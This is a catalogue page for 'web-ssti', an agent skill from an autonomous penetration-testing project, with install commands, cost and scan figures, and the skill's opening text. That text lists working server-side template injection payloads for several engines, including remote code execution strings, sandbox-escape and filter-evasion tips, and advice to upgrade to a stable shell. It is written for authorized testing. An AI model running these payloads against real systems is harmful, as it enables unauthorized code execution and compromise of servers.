web-ssti

web-ssti is a skill for Claude Code, Codex from s0ld13rr/pentestcode. It costs 71 tokens per session (1,473 once invoked), scanned A, original, MIT.

A security-testing guide for server-side template injection, a flaw where user input is treated as template instructions on the server. Templates are files used to generate pages, emails, reports, or documents.

In plain words
What is it for?
Use it to assess greetings, profiles, error pages, email or PDF generators, and other features that render user-controlled content.
Why use it?
It helps distinguish harmless reflected text from input that is actually evaluated and could affect the server.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to assess greetings, profiles, error pages, email or PDF generators, and other features that render user-controlled content.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/s0ld13rr/pentestcode/ssti
About the project

PentestCode is a terminal-based autonomous penetration-testing system in which multiple agents run security tools, interpret results, track engagement state, and choose subsequent attack steps. It is for authorized security assessments and capture-the-flag work that require coordinated scanning, enumeration, exploitation, and evidence tracking. The catalogue skills and instructions support the project's agent-led penetration-testing workflow.

s0ld13rr/pentestcode · 1,278 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add s0ld13rr/pentestcode --skill ssti
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for web-ssti

README.md
[![agentmods](https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/ssti/github.svg)](https://agentmods.dev/skills/s0ld13rr/pentestcode/ssti)
Your own site
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/ssti"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/ssti/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for web-ssti

Your own site · 80×15
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/ssti"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 71 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,473 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector pass 7 Sept 2026
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00071 $0.01473
Opus 5.5 $0.00028 $0.00589
Sonnet 5.5 $0.00014 $0.00295
Haiku 4.5 $0.00007 $0.00147

Measured today against content hash 87c7c782102a, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

web-ssti scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured today.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

- **Jinja2**: `{{ ''.__class__.__mro__[1].__subclasses__() }}` → find `subprocess.Popen` index. Automated: `tplmap --engine jinja2`.
skills/web/ssti/SKILL.md · 71 lines

How it starts

The opening of the file, as written. The whole thing — 71 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Server-Side Template Injection (SSTI)

When this fires

Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.

Detect

Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):

${7*7}  {{7*7}}  <%= 7*7 %>  #{7*7}  ${{7*7}}  @(7*7)

49/7777777 back = hit. Then fingerprint the engine to pick the RCE path.

Decide — fingerprint the engine

  • {{7*7}}=49 but {{7*'7'}} → 7777777 = Jinja2/Twig (Python/PHP); TemplateError = Jinja2.
  • ${7*7}=49 = Freemarker/Velocity (Java) or JSP EL.
  • #{7*7} = Ruby ERB / Thymeleaf / JSF.
  • <%= 7*7 %> = ERB (Ruby) / EJS (Node).
  • ${{7*7}} errors but {{7*7}} ok = Handlebars/Node.

Exploit → PROVE IMPACT (engine-specific RCE)

Jinja2:   {{cycler.__init__.__globals__.os.popen('id').read()}}
          {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig:     {{['id']|filter('system')}}  /  {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")
ERB:      <%= `id` %>  /  <%= system('id') %>
Smarty:   {system('id')}  /  {php}system('id');{/php}

Proof required: id/uname -a output (RCE), or read a secret file. Then convert to a stable shell / record_artifact.

Tooling

tplmap -u '<url>?p=*' (auto-detect+exploit) if available; else manual per above. nuclei -tags ssti.

False positives / pitfalls

  • Client-side echo (value reflected but NOT computed) = XSS, not SSTI.
  • Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead.
  • WAF stripping {{ }} → try ${}, #{}, whitespace/comment obfuscation.

Read the full file on GitHub · 71 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. today Changed · +26 lines 87c7c782102a
  2. 3mo ago First seen · 45 lines · 71 tokens per session scan A d7ad4c5aef1d

Subscribe to this mod's changes

web-ssti is a skill published in the GitHub repository s0ld13rr/pentestcode (1,278 stars, last pushed today), licensed MIT. It adds 71 tokens to every session and 1,473 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

web-ssti compared with skills from other repositories

web-ssti next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
web-sstis0ld13rr/pentestcodeSkill1.3ktodayMITA71Claude Code, Codex
lictor-security-checkRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A135Claude Code
lictor-rotateRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A80Claude Code
lictor-explainRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A56Claude Code
openai-patternschandrudp29/skillhubSkill145mo agoMITA31Claude Code, Codex
lictor-fix-itRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0B75Claude Code
hunt-api-misconfigelementalsouls/Claude-BugHunterSkill28kyesterdayMITA207Claude Code